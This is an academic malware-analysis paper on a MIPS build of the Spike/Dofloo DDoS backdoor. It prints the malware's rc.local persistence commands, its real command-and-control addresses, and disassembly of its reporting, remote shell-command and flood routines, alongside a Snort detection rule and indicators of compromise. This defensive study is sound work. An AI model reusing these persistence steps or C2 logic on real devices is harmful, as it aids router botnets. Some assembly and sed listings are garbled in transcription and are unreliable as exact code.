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Analysis of a MIPS Malware

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Author: Muhammad Junaid Bohio, mjbohio@gmail.com
Advisor: Richard Carbone

Accepted: March 19, 2015

Abstract

Malware functionalities have been evolving and so are their target platforms and architectures. Non-PC appliances of different architectures have not traditionally been frequent targets of malware. However, many of those appliances, due to their enhanced processing power and/or low maintenance, provide ideal targets for malware. Moreover, due to the lack of security for home routers, they often remain infected until replaced, thereby providing longer persistence for a malware. Recently, there has been a surge in malware for the MIPS and ARM architectures, targeting specific routers, DVRs, and other appliances. These network devices, in comparison, get less focus from vulnerability researchers and firmware patch application by end-users. This increases the risk of compromise and requires additional skills to cope with malware exploiting these platforms. This paper discusses various tools and techniques for reversing malware for the MIPS platform. We perform static and dynamic analysis of a MIPS malware, discuss its Command & Control mechanism, and provide detection of its network communication.
Acknowledgements

I would like to thank my advisor Richard Carbone for his valuable feedback and guidelines on this paper. Moreover, I also thank my employer TELUS Security Labs (telussecuritylabs.com) for providing me the tools and environment to perform research for this paper.
1. Introduction

MIPS (Multiprocessor without Interlocked Pipeline Stages) architecture is a Reduced Instruction Set Computing (RISC) technology that is widely used in embedded devices. As per the statistics mentioned in MIPS instruction set (n.d.) and MIPS architecture (n.d.), MIPS-based processors are routinely used in routers from Cisco, Linksys, Mikrotik, Cable/DSL modems, video gaming consoles from Sony and Nintendo, printers, set-top boxes, and more. The ARM (Advanced RISC Machines) architecture is the most widely used architecture in smart phones, TVs, set-top boxes, and mobile devices.

Malware produced for network devices have been far less in number compared to those produced for PCs. However, this number is growing. According to various sources (Infodox, 2011; Janus, 2011) the earliest known malware-targeting MIPS platform is Hydra – an open source botnet framework released in 2008. It was designed for extensibility and features both a spreading mechanism and DDoS functionality. In 2009, another malware, Psyb0t, was found in-the-wild targeting routers and high-speed modems. Its botnet, with an estimated 100,000 compromised devices, was then used in a DDoS attack against DroneBL, an IP blacklisting service (Psyb0t, 2013).

In 2010, an IRC bot named Chuck Norris was found infecting routers and DSL modems. In addition to spreading by brute forcing routers’ passwords, this malware also exploited an authentication bypass vulnerability in D-Link routers (McMillan, 2010). Another IRC bot named Tsunami supported various commands and modified the DNS server setting in the configuration of the infected devices (Janus, 2011). This trend has been observed in more recent malware as well and is effective in redirecting traffic to malicious servers controlled by attackers.

In 2012, another IRC bot named LightAidra was found. It supported several architectures including MIPS, MIPSEL, ARM, PPC, and SuperH (Fitsec, 2012). It exploited a D-Link router vulnerability and modified firewall settings using iptables. The source code of LightAidra is freely available on the Internet as an open source project. In 2013,
Symantec discovered a worm called *Darlloz* (Hayashi, 2013). This malware spread by exploiting a PHP vulnerability identified by CVE-2012-1823. It targeted various architectures including x86, ARM, MIPS, and PowerPC, thereby termed as an Internet of Things (IoT) Worm by Symantec (Hayashi, 2014). In order to block users from connecting to the infected device using Telnet, it drops Telnet traffic via `iptables` configuration and terminates the `telnetd` process. According to an investigation by Symantec (Hayashi, 2014), *Darlloz* compromised more than 31,000 devices by February 2014. Its newer variants supported mining of cryptocurrencies (Mincoins and Dogecoins) and exploited a default password on Hikvision DVR cameras (Ullrich, 2014b). An interesting aspect of the *Darlloz* worm is that it specifically targets rival worm *LightAidra*. *LightAidra* stores its process ID in various files including `/var/run/.lightpid`, `/var/run/.aidrapid`, and `/var/run/lightpid`. The *Darlloz* worm attempts to terminate the processes whose PIDs are stored in these files and deletes *LightAidra* files from the infected device (Blinka, 2014).

In February 2014, Dr. Johannes Ullrich of the SANS Technology Institute discovered a new worm called *TheMoon* (Ullrich, 2014a). This malware was specifically targeting Linksys routers. One known instance of this malware, MD5:A85E4A90A7B303155477EE1697995A43, can target the following specific router models: E4200, E3200, E2500, E300, WRT610N, E1000, E1200, E1500, E1550, E2000, and E3000 (Constantin, 2014). The malware exploits a command execution vulnerability when parsing the ‘*ttcp_ip*’ parameter value sent in a POST request. It downloads a copy of itself by running the `wget` command on the vulnerable router after exploiting the vulnerability. The malware was named after the Hollywood movie, ‘Moon,’ because it contains several strings such as Moon, Gerty, Lunar, Sam, and Jupiter that match various characters in the movie. These characters in the code perform various tasks such as analysis of the infected device, harvesting targets and sending fingerprinting/exploit requests, and keeping logs. In the same year, malware *Elknot* was found targeting x86, ARM, and MIPS platforms (Kernelmode.info Forum, 2013), whereas *GoARM/Ramgo* targeted the ARM architecture (Adrian, 2014b). Moreover, newer versions of the *BlackEnergy* Backdoor (that has been used in APT attacks in the past) have been found
using plugins that target both the ARM and MIPS platforms (Baumgartner & Garnaeva, 2014).

Around mid-2014, a Backdoor/DDoS malware that is known by different names including Spike, AES, and Dofloo DDoS malware was discovered. Samples of this malware have been found targeting 32-bit and 64-bit Linux and Windows platforms as well as MIPS and ARM architectures. A toolkit that generates samples of the Spike DDoS malware was analyzed by the Akamai PLXsert Team (Akamai, 2014), and its report states that several Akamai customers have been targeted by DDoS attacks launched from this botnet. The peak attack by the Spike DDoS botnet, according to Akamai, was 215 Gigabits per second (Gbps) and 150 million packets per second (Mpps) (Akamai, 2014). This malware has also been discussed on the Kernelmode.info forum (Adrian, 2014a). In this paper, we analyze a sample of the Spike DDoS malware for the MIPS architecture and examine its commands, communication, and other operations.

2. Debugging Environment Setup

In order to analyze the malware binary for the MIPS architecture, the following tools were used:

- Oracle VM VirtualBox 4.3.7 r91406
- Ubuntu 12.04.4 LTS
- OpenWrt- Barrier Breaker (Bleeding Edge, r39584)
- Qemu 1.6.2
- IDA Pro 6.5.140116 (32-bit)
- Wireshark 1.10.5
- 010 Editor 3.0.4
- Python 2.7

After installing Ubuntu Linux on the Oracle VM VirtualBox, the OpenWrt Linux distribution was compiled and installed on the VM. OpenWrt also created the cross-
compiler toolchain that is required to run MIPS binaries. The firmware for Atheros AR71xx routers was selected with the OpenWrt installation.

After installing OpenWrt, Quick Emulator (QEMU) was installed in order to provide hardware virtualization for OpenWrt and to run MIPS binaries in the OpenWrt environment. The detailed guidelines for these installations are not in the scope of this paper but can be found in other resources (Craig, 2011; Võsandi, 2013). The QEMU installation created binaries for both LittleEndian (qemu-mipsel) and Big Endian (qemu-mips) modes. Since the malware sample under analysis is compiled in Little Endian format, qemu-mipsel was used to run it. This will be demonstrated in the next section.

The malware was run in both a controlled environment (Host-only Adapter) as well as with Internet access using the Bridged Adapter. The non-controlled environment was provided in order to capture live traffic from a control server.

3. Analysis of the Malware

The sample under analysis is a 32-bit Little Endian ELF binary for the MIPS architecture, also known as Backdoor Spike DDoS or Dofloo. This binary was statically compiled and left unstripped; as such it contains all of its strings and import function names. The binary’s MD5 hash is 99ccdc5772a827917ae6cc8e29c78aec. These attributes are shown in the following figure:

![Figure 1: md5sum and file attributes of the sample.](image-url)
The analysis of this malware includes both its behavioral and technical analysis which will be described in this paper.

### 3.1 Behavioral Analysis

When the malware was first run in a restricted environment (host-only network) it did not perform any network communication. Upon providing it access to the Internet, the malware contacted its Command & Control (C2) server at IP address 60.169.80.91, port 48080/TCP. The malware sent out some system information and received some responses. It continued exchanging messages with its control server. Other than communicating with the control server, no other suspicious connections by the malware, such as any DDoS operations, were observed in the traffic. This will later be clarified when the server responses are parsed and interpreted in the following subsections.

### 3.2 Technical Analysis

On the Ubuntu VM where OpenWrt and QEMU were installed, the sample file name “99ccdc-spike” was run as shown in Figure 2:

![Sample run and waiting for the gdb connection.](image)

Figure 2: Sample run and waiting for the `gdb` connection.

Among the above parameters, the “-E” parameter specifies the IP address of the system from which the IDA debugger will be attached to the malware process. The “-g” parameter with value “1234” puts the malware execution on hold until a debugger is attached to it on port 1234/TCP. On the remote system with IP address ‘192.168.56.1,’ the IDA debugger was configured to connect to the Ubuntu VM having IP address ‘192.168.56.101’ on port 1234. Once the attachment to the malware process was successful, the debugging session began.

M. J. Bohio, mjbohio@gmail.com
In this section, functions related to C2 operations, communication mechanisms, and malware persistence will be discussed. The important code instructions have been explained using comments on their right side; however, further information on MIPS instructions can be found in Frenzel (1998) and MIPS instruction set (n.d.).

When the malware is started, it checks if its command-line has any arguments. If none are found then it assumes it is running for the first time on the target system. It then calls function `_Z8autobootPc`, which attempts to run the following commands in order to set up system persistence (reboot survival):

```
sed -i-e '/exit/d'/etc/rc.local
sed -i-e 'r|^r
|r|n$/d'/etc/rc.local
sed -i-e '2 i%s/%s' /etc/rc.local
```

The main function of this malware calls function ‘ `_Z14_ConnectServerv` ’ which connects to one of the C2 servers with IP address 60.169.80.91 and port 48080/TCP. The information concerning this control server is stored in global variable ‘ `m_OnlineInfo` ’ using a simple obfuscated format. The malware adds a constant value of 0x4E20 (20000) to compute the actual aforementioned IP address and port. The following code/data snippets in Figures 3 and 4 demonstrate this behavior:

```
0040964 .globl m_OnlineInfo
0040964 m_OnlineInfo:.byte 0xFE # I  # DATA XREF: ServerConnectClient(void)+BCTo
0040964 m_OnlineInfo:.byte 0x77 # u  # ServerConnectClient(void)+ECTo
0040965 .byte 0x77 # u  # IP base value 0x5850581C + 0x4E20 - 0x5850A93C (IP 60.169.80.91)
0040966 .byte 0xFE # I  # DATA XREF: ServerConnectClient(void)+F4Ir
0040967 .byte 0x5850581C # DATA XREF: ServerConnectClient(void)+C4Ir
0040968 dword_4CF968:.word 0x5850581C # DATA XREF: ServerConnectClient(void)+C4Ir
0040966 dword_4CF96C:.word 0x6D80 # DATA XREF: ServerConnectClient(void)+C4Ir
0040970 .globl encode_url  0x6D80 + 0x4E20 - 0x8BBD (Port 48080) 
```

Figure3: `m_OnlineInfo` data structure.

M. J. Bohio, mjbohio@gmail.com
If the malware cannot connect to the aforementioned control server, it may try connecting to another server with IP address **183.60.149.199** on the same port. However, it does not perform any obfuscation of this secondary control server’s IP address. This will be demonstrated while discussing one of the program threads (pthreads) started by the malware.

In function `main`, the malware sets some signals and creates the program threads as shown in Figure 5:

![Figure 5: pthreads called in main function.](image-url)
The functionalities of the above threads are described in the following subsections.

3.2.1 ‘SendInfo’ thread

This thread is implemented in function “_Z8SendInfoPv”. It attempts to calculate the network/CPU speeds and periodically updates the control server about this information. This information is believed to be used by attackers to evaluate the operational capabilities of their bots and thus will assign DDoS tasks according to their CPU power and network bandwidth/speed.

This function also checks ifconfig information for Ethernet interfaces ranging from ‘eth0’ through ‘eth9’. It reads data from pseudo-file /proc/net/dev and computes network speed in Mbps. This file provides statistics on each network interface regarding the number of bytes sent/received, number of inbound/outbound packets, and more. Please refer to Figures 6, 7, and 8 which depict the code where this information is collected:

```
00409250 loc_409250:        # $0 gets 0 as first value
00409250 lw $0, 0x738+var_710($fp)
00409254 slti $0, 0xA        # Runs loop from 0 to 9
00409258 beqz $0, loc_409160 # 'eth'
0040925C nope

00409150
00409150 loc_409150:        # 'eth'
00409150 lw $0, 0x687465
00409154 sw $0, 0x738+var_6EC($fp)
00409158 lb $zero, 0x738+var_6FA($fp)
00409160 sb $zero, 0x738+var_664($fp)
00409164 addiu $v0, $fp, 0x738+var_6EC
00409168 move $a0, $v0        # $a0 = 0
0040916C li $a1, 2
00409170 lui $v0, 0x4A
00409174 addiu $a2, $v0, ($a0 - 0x400000) # "%d"
00409178 lw $a3, 0x738+var_710($fp) # $a3 = 0
0040917C jal sprintf        # sprintf
00409180 nope
00409184 addiu $v1, $fp, 0x738+var_6EC
00409188 addiu $v0, $fp, 0x738+var_664
00409190 move $a0, $v1        # $a0 = 'eth'
00409194 move $a1, $v0        # $a1 = '0'
00409198 jal strcat          # Constructs "eth0"
0040919C nope
0040919E addiu $v0, $fp, 0x738+var_6EC
004091AE move $a0, $v0        # $a0 = "eth0"
004091B0 jal __z1my_ipconfigpc # my_ipconfig(char *)
004091BB nope

Figure 6: Construct interface ‘ethN’ and call my_ipconfig.
```

M. J. Bohio, mjbohio@gmail.com
The malware also calculates the percentage of CPU usage by reading and processing values in `/proc/stat`. This pseudo-file keeps various statistics about the system since it was last run. The following figure shows two calls to a function that reads `/proc/stat`:

```
addiu $v0, $fp, 0x738+var_178
move $a0, $v0
jal _210get_occupyP6occupy
nop
li $a0, 1
jal sleep
nop
addiu $v0, $fp, 0x738+var_2E0
move $a0, $v0
jal _210get_occupyP6occupy
nop
jal _210get_occupyP6occupy
nop
sw $zero, 0x738+var_70C($fp)
loc_409420
```
Next, Figure 10 shows a part of the code inside function “_Z10get_occupyP6occupy”:

```
004065A0 _Z10get_occupyP6occupy:
004065A0
004065A0 var_428 = 0x428
004065A0 var_424 = 0x424
004065A0 var_420 = 0x420
004065A0 var_416 = 0x416
004065A0 var_412 = 0x412
004065A0 var_408 = 0x408
004065A0 var_404 = 0x404
004065A0 var_400 = 0x400
004065A0 var_396 = 0x396
004065A0 addiu $sp, -0x438
004065A4 sw $ra, 0x438*var_4($sp)
004065A8 sw $fp, 0x438*var_8($sp)
004065AC move $fp, $sp
004065B0 sw $a0, 0x438*arg_0($fp)
004065B4 lui $a0, 0x4A
004065BA addiu $a0, $v0, (aProcStat - 0x4A0000) # "/proc/stat"
004065BC lui $v0, 0x4A
004065C0 addiu $a1, $v0, (aR - 0x4A0000) # "r"
004065C4 jal open # Open file
004065C8 nop .
```

Figure 10: Read /proc/stat.

The malware then prints the CPU usage percentage and network speed information into a pre-defined format. If the socket has been created, it sends out that data to its control server. Figure 11 demonstrates this behavior:

```
004094A4 loc_4094A4:     # v0 = 0x3F80000
004094A4 lw $v0, g_cpu_used    # v0 = 0
004094A8 mfc1 $v0, $f1
004094B0 cmtd.s $v0, $f1
004094B4 mfc1 $v0, $f0
004094B8 mfc1 $v1, $f1  # v1 = 0x3FF0000
004094BC addiu $a0, $fp, 0x738+var_6$E  # [a0] = [0x487FFFF] = 0
004094D0 addiu $a1, $fp, 0x738+var_7$E  # [a1] = [0x487FFFF] = "58.87 Mbps"
004094D4 sw $a1, 0x738+var_728($sp)
004094D8 la $a1, aInfo_OFs      # "INFO:%.0f%.3s"
004094DA move $a2, $v0
004094DC move $a3, $v1
004094DE jal sprintf     # a3 = 0x487FFFF
004094F0 jal sprintf       # prints "INFO: 1% [58.87 Mbps"
```

Figure 11: Print INFO data and send to the server.

M. J. Bohio, mjbohio@gmail.com
The periodic speed information sent by this thread to its control server is shown in Figure 12 that represents the traffic captured through Wireshark:

3.2.2 'backdoorA' Thread

This thread collects system information and sends it out to the control server. The information sent out by this thread includes OS Kernel version, CPU speed, total memory size, used memory size, and some hard-coded strings such as 'VERSONEX' and 'Hacker.' These strings have been observed in several samples of this malware family. The following figure shows the initial request captured through Wireshark:
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M. J. Bohio, mjbohio@gmail.com

Figure 13: backdoorA thread identifying to the server with system information.

This thread contains information about a secondary control server that could be contacted in case the primary control server is not available. The following figure shows the code containing IP and port number of the secondary control server:

```
00408B20 li $a0, 0xBB0D  # Port = 0xBB0D (48080)
00408B24 jal ntohs
00408B28 nop
00408B2C sh $v0, 0xF8+var_B6($fp)
00408B30 li $v0, 2
00408B34 sh $v0, 0xF8+var_B8($fp)
00408B38 li $v0, 0xC7953CB7  # IP = 183.60.149.199
00408B40 sw $v0, 0xF8+var_B4($fp)
00408B44 li $v0, 1
00408B48 sw $v0, 0xF8+var_A4($fp)
00408B4C addiu $v0, $fp, 0xF8+var_A4
00408B50 lw $a0, 0xF8+var_D0($fp)
00408B54 li $a1, 0x667E
00408B58 move $a2, $v0
00408B5C jal ioctl1
00408B60 nop
00408B64 addiu $v0, $fp, 0xF8+var_B8
00408B68 lw $a0, 0xF8+var_D0($fp)
00408B6C move $a1, $v0
00408B70 li $a2, 0x10
00408B74 jal connect  # Connect
00408B78 nop
```

Figure 14: Secondary control server’s IP and port information.

M. J. Bohio, mjbohio@gmail.com
The following code snippet is used to construct and send the data shown above in Figure 13. The payload size of the packet is fixed to 0x400 (1024) bytes.

```
00409958 lw $a3, 0x1068+var_F8($fp)  # a3 = 1
0040995c lw $a2, 0x1068+var_F4($fp)  # a2 = 0x3D1 (3358)
00409960 lw $a1, 0x1068+var_F0($fp)  # a1 = 0x2EB (747)
00409964 lw $a0, 0x1068+var_EC($fp)  # a0 = 0x2A0 (672)
00409968 addiu $v1, $fp, 0x1068+var_1010  # v1 = 0x40FF540
0040996c addiu $v0, $fp, 0x1068+var_10C  # [v0] = [0x40FF04F4] = "3.11.0-15-generic"
00409970 sw $a3, 0x1068+var_1058($sp)
00409974 sw $a2, 0x1068+var_1054($sp)
00409978 sw $a1, 0x1068+var_1050($sp)
0040997C sw $a0, 0x1068+var_104C($sp)
00409980 la $a0, aHacker  # "Hacker"
00409984 lw $a0, 0x1068+var_1048($sp)
0040998C move $a0, $v1  # Output buffer = 0x40FF540
00409990 li $a1, 0x400
00409994 lui $v1, 0x40
00409998 addiu $a2, $v1, (aVersionLinux_0 - 0x4000000)  # VERSONEX:Linux-%s-mips|%d|%d MHz,%dMB|%s
0040999C move $a3, $v0  # [a3] = [0x40FF04F4] = "3.11.0-15-generic"
004099A0 jal snprintf  # snprintf
004099A4 nop
004099A8 lw $v0, MainSocketA
004099B0 bnez $v0, loc_4099C0
004099B4 nop
004099B8 j loc_409E80
004099BC nop
004099C0  # ------------------------------------------------------------------------
004099C0 loc_4099C0:  # CODE XREF: _ConnectServerA(void)+210fj
004099C0 lui $v0, 0x40
004099C4 lw $v1, MainSocketA
004099C8 addiu $v0, $fp, 0x1068+var_1010
004099CC move $a0, $v1  # Data = "VERSONEX:Linux-3.11.0-15-generic-mips|...."
004099D0 move $a1, $v0
004099D4 li $a2, 0x400  # Size = 0x400 (1024)
004099D8 move $a3, $zero
004099DC jal send  # Send
```

Figure 15: Print and send system information.

In response to the above request, the server sent the following command/data that is captured and parsed by Wireshark:

M. J. Bohio, mjbohio@gmail.com
Figure 16: Server response to the request by backdoorA thread.

In the above response, the first DWORD ‘07 00 00 00’ is the command code. The payload size of the server response is 0x19D; however, the malware parses only the fixed size 0x19C (412) bytes of it. The command codes expected by this thread are 5, 6, and 7. The following code snippet demonstrates how the server response is received and parsed:
Thus, the commands supported by this thread are:

- CmdShell (0x05)
- DealwithDDoS (0x06)
- Kill a process OR continue (0x07)
Each of the above commands and its functionality are described in the following subsections.

3.2.2.1 CmdShell (0x05) Command

If the command code matches 0x05, the malware copies data after the first DWORD in the server response to a buffer. It then calls function "\_Z8CmdshellP8\_MSGHEAD", which then calls the ‘System’ function to execute a command. The malware locates the shell command at offset 0x100 (256) within the data part of the server response. The command string has to be Null-terminated, whereas the rest of the data in the server response was redundant and not used while executing command 0x05. The following code snippets demonstrate this behavior:

```
| Copies 0x198 bytes after Command Code to a buffer
04007E1C addiu $a0, $fp, 0x1068+var_110
04007E1C li $u0, 0x198
04007E1C move $a1, $u1
04007E1C move $a2, $u0
04007E1C jal _Z8CmdshellP8\_MSGHEAD
04007E1C nop
```

Figure 18: Call Cmdshell function.

```
| Copies 0x198 bytes after Command Code to a buffer
04007E6C addiu $a0, $sp, -0x20
04007E70 sw $ra, 0x20+var_4($sp)
04007E74 sw $fp, 0x20+var_8($sp)
04007E78 move $sp, $fp
04007E7C su $a0, 0x20+arg_6($fp)
04007E80 lu $u0, 0x20+arg_0($fp)
04007E84 addiu $u0, 0x100
04007E88 move $a0, $u0
04007E8C jal system
04007E40 nop
```

Figure 19: Inside Cmdshell runs command at offset 0x100.

Since the control server did not send command 0x05 at the time of this research, a Python script (see Appendix A for details) was written by the author that listened for a message from the malware and sent the command 0x05. For this purpose, the response containing
command 0x07, which was received earlier from the actual control server, was modified to command code 0x05 and a shell command at offset 0x100 (starting from the command data part) was sent to the malware. As a result of sending that command, the malware created a text file with the string that is written to it via the ‘echo’ shell command. The following figure demonstrates the shell command that was sent to the malware using the Python script:

![Shell command](image-url)  
**Figure 20:** Modified response sent with Shell command.

### 3.2.2.2 DealWithDDoS (0x06) Command

When command code 0x06 is found, the malware performs AES decryption of the data that is sent in the server response. It then performs expansion of the decryption key and then calls function ‘\_ZN3AES9InvCipherEPh’ or ‘AES::InvCipher(uchar *)’ in a loop. In each round, 16 bytes of data is decrypted. Once decryption is completed, the malware calls function ‘DealwithDDoS(_MSGHEAD *)’. The following code snippets are used in these operations:
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M. J. Bohio, mjbohio@gmail.com

Figure 21: AES key expansion/initialization.

```
004097a7 loc_4097a7:          # CODE XREF: _ConnectServerA(void)+481f
004097c7 lui $v6, 0x4d         
004097d7 li $v1, 2             
004097e7 sw $v1, 0x4d4d         
004097e7 lui $v6, 0x1068+var_c10 # Pointer to server data after command code
00409800 move $a0, $v6         
00409808 lui $v0, 0x4d         
0040980e addiu $a1, $v0, (key_0 - 0x400000)        
00409816 jal _ZMAES02EPhs        # AES::AES(uchar *) << AES KeyExpansion/initialization
00409820 nOP                
```

Figure 22: Decrypt DDoS command and call \textit{DealwithDDoS}.

Based on the static code analysis, when the ‘\textit{DealwithDDoS}’ function is started, it calls various flooding pthreads depending on the instructions received from the control server. Since at the time of this research the control server did not send DDoS command 0x06, the complete structure of this command is not known. The flooding attacks supported by this function are found in the following pthreads:

- TCP\_Flood
- CC\_Flood
- CC2\_Flood
- CC3\_Flood

The following code snippets show some of the pthreads started by the DDoS function:

```
00409d2c move $a0, $v1         
00409d30 move $a1, $v0         
00409d34 jal _ZMAES09InvCipherEPhs # AES::InvCipher(uchar *) << decrypts 16 bytes in each round
00409d38 nOP                
00409d3c lw $v0, 0x1068+var_1030($fp)
00409d40 addiu $v0, 1       
00409d44 sw $v0, 0x1068+var_1030($fp)
00409d48  
00409d4a loc_409d4a:         # CODE XREF: _ConnectServerA(void)+578f
00409d4e lw $v1, 0x1068+var_1030($fp)
00409d50 li $v0, 0x19         
00409d56 addiu $v0, 1        
00409d5c silt $v0, $v1, $v0     
00409d60 bnez $v0, loc_409d18 
00409d6c nOP                
00409d70 addiu $v1, $fp, 0x1068+var_47c
00409d74 addiu $v0, $fp, 0x1068+var_789 
00409d78 move $a0, $v1        
00409d7e move $a1, $v0        
00409d80 li $s2, 0x198         
00409d84 jal memcpy            # Copies decrypted data to a buffer at 408001b4
00409d88 nOP                
00409d8c addiu $v0, $fp, 0x1068+var_47c
00409d90 move $a0, $v0        
00409d94 jal _ZMAES02EPhs     # DealwithDDoS(_MSGHEAD *)
00409d98 nOP                
```
Based on the static code analysis, in the case of CC_Flood (Figure 24) DDoS, the malware sends out HTTP GET requests until the ‘StopFlag’ is set to 1. The following are some of the headers used in building such requests:

M. J. Bohio, mjbohio@gmail.com
The **CC2_Flood** (Figure 25) and **CC3_Flood** (Figure 26) DDoS also send out HTTP GET requests with some minor differences. For example, headers used with CC2_Flood requests are as follows:

Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html, application/xhtml+xml, */*

3.2.2.3 Kill a Process or Continue (0x07) Command:
This command checks if the value of its ‘pid’ global variable is non-Null; then it attempts to terminate the process with that process ID. If the value is Null, the malware continues to the beginning of the loop and sends the next request to the server. Notice that the functionality of this command does not require a large amount of data (0x19C bytes) to be sent by the server. However, since the length of the received data is hard-coded in several places, the control server appears to be sending garbage data along with command 0x07. The following code snippet demonstrates the functionality of this command:

M. J. Bohio, mjbohio@gmail.com
Figure 27: Command 0x07 – kill a process and/or continue.

3.2.3 'backdoorM' Thread

This thread performs very similar functions to the ‘BackdoorA’ thread with the exception that it has one additional command 0x01. This command updates flag value ‘statM’ to zero. This flag found at the beginning of the function is used to determine whether to sleep for a certain amount of time or continue operations if it is zero. This is shown in the following figure:

Figure 28: Command 0x01 – unset a flag.
3.2.4 Detection and Indicators of Compromise (IoC)

3.2.4.1 Traffic Detection
As described earlier, the first request sent out by the malware with system information has a fixed payload size of 0x400 (1024) bytes. This value can be checked as a ‘dsize’ value along with other patterns in a Snort signature. The following is a Snort signature that can be used to detect a malware request sent to its control server:

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"SpikeDDoS Malware Detection"); dsize:1024; content:"VERSONEX\3a\"; nocase; offset:0; depth:9; content:"MHz\7c\"; nocase; distance:4; within:48; content:"MB\7C\"; nocase; distance:3; within:8; content:"\00 00 00 00 00 00\"; distance:32; within:32; classtype:Botnet; sid:1100110010; rev:1;)
```

The server response sent to the malware must also be at least 0x19C (412) bytes. The first 4 bytes are command codes including 1, 5, 6, and 7. A signature for the server response is also possible but since the malware request has several options for pattern detection, it is sufficient for traffic detection and would be more efficient compared to signature detection for the server response.

3.2.4.2 Indicators of Compromise (IoC)
When the malware is started, it checks the number of its command-line parameters. If it does not have any parameters, it calls function ‘_Z8autobootPc’. In this function the malware sets up its reboot survival mechanism. It attempts to add itself to the following files:

- /etc/rc.local
- /etc/rc.d/rc.local
- /etc/init.d/boot.local

In the case of /etc/rc.local, the malware removes any lines containing string “exit”. As a result of this, a line containing string “exit 0” was deleted from the /etc/rc.local file on the infected system. Furthermore, the malware also removes any empty lines from this file.
file. Commands that perform these operations were previously examined. The malware then adds itself with parameter “reboot” to file `/etc/rc.local` as shown in the following:

```bash
#!/bin/sh -e
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot
#
# rc.local
# [...truncated...]
```

In the case of `/etc/rc.d/rc.local` and `/etc/init.d/boot.local` an error occurred when passing a parameter pointer to the malware filename string. However, when the parameter was passed correctly by modifying register ‘a3’ value after instruction at address 0x0040AF40, the malware created the following entry in `/etc/rc.d/rc.local` with parameter “start”. It uses the same format string for adding itself to `/etc/init.d/boot.local` as well, as shown below.

```
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot start
```

Please note that these target configuration files may not exist on all systems. The malware does not check for the existence of these files before attempting to write its command-line to them.

### 4. Debugging Challenges and Workarounds

The malware sample under analysis frequently uses forks and pthreads. As a result, multiple threads and instances of the malware are instantiated. In order to analyze such a code flow, `gdb` debugger provides various custom options such as setting `follow-fork-mode` and `non-stop` mode. However, through IDA Pro debugger these custom options for remote `gdb` debugging could not be enabled. As a workaround, a `fork` call in the `main` function was deactivated with NOP instructions. Figures 28 and 29 demonstrate the code
where the fork was disabled in order to continue debugging the subsequent operations of the malware:

![Image of original code with fork call]

Figure 29: Original code with fork call.

![Image of disabled fork call]

Figure 30: Disabled fork call.

After bypassing the fork call and some flag checks, when the first ‘pthread’ call reached the ‘SendInfo’ function, the debugging session with IDA debugger was terminated. Since IDA Pro was configured to use gdb debugger for remote debugging of the MIPS binary, the default operation of gdb is the ‘stop-all’ (all threads stopped) mode. Whereas for debugging asynchronous multi-threaded code, it requires operating in the ‘non-stop’ mode to allow threads other than the debugged thread to continue running. With very limited command line options supported via IDA Pro Command-line for gdb, it could not be determined whether any other method could be used to enable these custom options for use of the gdb debugger via IDA Pro. To address this issue, it was attempted to use gdb directly and to configure it to operate in the non-stop mode. As such, an instance of gdb compiled for the MIPS architecture was used to attach to the malware sample running within QEMU. However, when gdb with the non-stop mode attempted to attach to the remote process, it presented the following error message stating that the remote

M. J. Bohio, mjbohio@gmail.com
process does not support the non-stop mode. Thus, this attempt was not successful either.

Figure 31 depicts this error message:

![GDB error message]

Figure 31: Non-stop mode attempt via MIPS gdb.

Thus, for the debugging of threads, the binary was patched and pthread calls were replaced with direct function calls to thread functions. The following figure shows the modified calls to the thread functions:

```
0040B3FC       li     $a0, 1
0040B400       jal    close
0040B404       nop
0040B408       li     $a0, 2
0040B40C       jal    close
0040B410       nop
0040B414       jal    __Z8SendInfoPu            # SendInfo(void *)
0040B418       nop
0040B41C       jal    __Z9backdoorMVpu               # CODE XREF: SendInfo(void *),1C↑j
0040B440       nop
0040B444       jal    __Z9backdoorMPu               # backdoorM(void *)
0040B448       nop
0040B44C       nop
0040B450       nop
0040B460       nop
0040B46C       nop
```

Figure 32: Modified calls to thread functions.

When each of the pthread functions was analyzed, it was found that they ran asynchronously in their respective infinite loops. However, certain information such as socket creation and the ability to start/stop certain operations are communicated through global flag variables. When asynchronous thread functions were executed in ‘all-stop’
mode, it required the modification of certain jump instructions in order to debug the subsequent function.

As described in MIPS instruction set (n.d.) and various other documentations, the J-type or Jump instructions on the 32-bit MIPS architecture are comprised of 6-bit Opcode/Instructions and 26-bit jump target addresses. Since a 32-bit address value can only be represented within 26-bits of a jump instruction, the address is divided by 4 before using it with a jump instruction. In order to modify a jump value to be used in a MIPS instruction, the following formula is used:

$$\text{Operand Address (26-bits) = (target destination address) / 4 = quotient} \& 0x03FFFFFF$$

The ‘Operand Address’ of the jump target address is then prepended to the instruction opcode. The prepending is done in the Little Endian format due to the fact that the binary being analyzed is in Little Endian format. For example, the modified function call for pthread function ‘_Z8SendInfoPv’ in the aforementioned code is set to, in hexadecimal, ‘DF 25 10 0C’. The actual address of the ‘_Z8SendInfoPv’ function is 0x0040977C which is shown in the following code snippet:

```
0040977C  8 SendInfo(void *)
0040977C  .globl _Z8SendInfoPv
0040977C  _Z8SendInfoPv:          \# CODE XREF: _ConnectServerA(void)
0040977C  \# main+150\p
0040977C  var_6 = -9
0040977C  var_6 = -4
0040977C  arg_6 = 0
0040977C  addiu $sp, -0x20
00409780  sw $ra, 0x20+var_6($sp)
```

Figure 33: Start address of ‘_Z8SendInfoPv’ function

Hence, the Operand Address with the ‘jal’ command is calculated as:

$$\text{Operand Address} = 0x0040977C/4 = 0x1025DF \& 0x03FFFFFF = 0x1025DF$$

M. J. Bohio, mjbohio@gmail.com
Thus, prepending the above value (0x1025DF) to the ‘jal’ instruction code (‘0x0C’) as in ‘DF 25 10 0C’ results in a call to the target function at the given address and is resolved by IDA Pro as “jal _Z8SendInfoPv” that is shown in Figure 3 above. By modifying the pthread calls, the thread functions can be analyzed without causing termination of the debugging session.

4.1 Jump to Self

When debugging malware on the x86 platform, a commonly useful instruction is ‘Jump to Self’ or 0xEBFE. This instruction is typically used when a researcher wants to pause code execution at a certain point while the debugger is not attached to it -- for example, in the case of code injection into a suspended process. With various tests it has been determined that on the 32-bit Little Endian MIPS platform, a jump instruction can be modified to ‘FF FF 00 10’ that causes it to branch-to-self.

5. Conclusion

